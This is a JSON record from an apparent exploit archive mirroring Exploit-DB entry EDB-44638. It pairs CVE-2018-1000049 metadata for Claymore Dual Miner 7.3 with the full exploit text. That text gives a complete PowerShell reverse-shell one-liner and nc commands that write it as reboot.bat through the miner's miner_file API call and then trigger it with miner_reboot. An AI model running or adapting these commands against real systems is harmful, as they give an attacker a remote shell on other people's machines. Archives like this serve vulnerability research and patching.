{"exploit":{"id":"EDB-44638","name":"Nanopool Claymore Dual Miner 7.3 - 'miner_file' Remote Code Execution (RCE)","description":"Nanopool Claymore Dual Miner 7.3 - 'miner_file' Remote Code Execution (RCE)","cves":["CVE-2018-1000049"],"author":"ReverseBrain","published":"2018-05-17","platform":"windows","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44638","path":"exploits/windows/remote/44638.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44638.txt","vulnerabilities":[{"id":"CVE-2018-1000049","state":"PUBLISHED","title":null,"titleSource":null,"description":"Nanopool Claymore Dual Miner version 7.3 and earlier contains a remote code execution vulnerability by abusing the miner API. The flaw can be exploited only if the software is executed with read/write mode enabled.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-1000049","cvss":{"version":"3.0","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-1000049"},"updatedAt":"2024-08-05T12:33:48.641Z","retrievedAt":"2026-11-27T09:23:49.457Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44638.png?v=2","url":"https://exploitbin.com/exploits/EDB-44638","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44638/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44638/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Nanopool Claymore Dual Miner >= 7.3 Remote Code Execution\n# Date: 2018/02/09\n# Exploit Author: ReverseBrain\n# Vendor Homepage: https://nanopool.org/\n# Software Link: https://github.com/nanopool/Claymore-Dual-Miner\n# Version: 7.3 and later\n# Tested on: Windows, Linux\n# CVE : 2018-1000049\n\nSuppose the miner is running on localhost on port 3333. First of all you need to convert a .bat string into hexadecimal format, for example, this one uses powershell to spawn a reverse shell on localhost listening on port 1234:\n\npowershell.exe -Command \"$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"\n\nConvert it into hexadecimal and paste it on the second parameter inside this string:\n\necho '{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bat\",\"HEX_STRING\"]}' | nc 127.0.0.1 3333 -v\n\nThen, to trigger the vulnerability just send {\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_reboot\"}\nstring to the miner.\n\necho '{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_reboot\"}' | nc 127.0.0.1 3333 -v\n\nYou got the shell!\n\nThis exploit works also on Linux, just substitute reboot.bat with reboot.bash or reboot.sh.","sha256":"093eebd6044aa964c7380878ffe6939196800490fdb7d135962755330a72a2fc","bytes":1571,"fetchedAt":"2026-11-27T15:10:30.849Z","encoding":"utf-8 (display only; download retains original bytes)"}